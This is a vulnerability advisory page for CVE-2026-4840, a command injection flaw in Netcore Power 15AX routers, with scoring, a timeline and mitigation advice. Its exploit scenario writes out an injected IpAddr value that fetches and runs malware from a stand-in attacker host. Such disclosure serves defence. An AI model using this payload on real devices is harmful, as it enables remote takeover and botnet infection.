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Power 15Ax CVE-2026-4840

| EUVD-2026-16108 HIGH
OS Command Injection (CWE-78)
2026-03-26 VulDB
7.4
CVSS 4.0 · NVD
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NVD PRIMARY
7.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

5
Re-analysis Queued
Apr 24, 2026 - 16:37 vuln.today
cvss_changed
PoC Detected
Mar 30, 2026 - 13:26 vuln.today
Public exploit code
EUVD ID Assigned
Mar 26, 2026 - 04:30 euvd
EUVD-2026-16108
Analysis Generated
Mar 26, 2026 - 04:30 vuln.today
CVE Published
Mar 26, 2026 - 04:05 nvd
HIGH 7.4

DescriptionCVE.org

A security flaw has been discovered in Netcore Power 15AX up to 3.0.0.6938. Affected by this issue is the function setTools of the file /bin/netis.cgi of the component Diagnostic Tool Interface. Performing a manipulation of the argument IpAddr results in os command injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

A critical OS command injection vulnerability exists in the Diagnostic Tool Interface of Netcore Power 15AX routers up to firmware version 3.0.0.6938. An authenticated attacker with low-level privileges can remotely execute arbitrary operating system commands by manipulating the IpAddr parameter in the setTools function of /bin/netis.cgi. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to Netcore Power device
Exploit
Send crafted request to /bin/netis.cgi
Execution
Inject OS command via IpAddr parameter
Impact
Execute arbitrary system commands with device privileges

Vulnerability AssessmentAI

Exploitation Requires authenticated user access to Netcore Power 15AX up to version 3.0.0.6938. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS v3.1 base score of 8.8 (High) reflects significant risk with network-based attack vector (AV:N), low attack complexity (AC:L), requiring only low-level authentication (PR:L), and enabling complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers a Netcore Power 15AX router exposed to the internet with default or weak administrative credentials. After authenticating with low-privilege credentials to the web management interface, the attacker accesses the diagnostic tools page and submits a malicious IpAddr parameter such as '127.0.0.1; wget http://attacker.com/malware -O /tmp/bot && chmod +x /tmp/bot && /tmp/bot' to the setTools function in /bin/netis.cgi. …
Remediation As the vendor has not responded to disclosure and no official patch appears available (RL:X), immediate mitigation focuses on compensating controls. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify and inventory all Netcore Power 15AX routers in production (firmware ≤3.0.0.6938) and restrict network access to the /bin/netis.cgi endpoint. …

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CVE-2026-4840 vulnerability details – vuln.today

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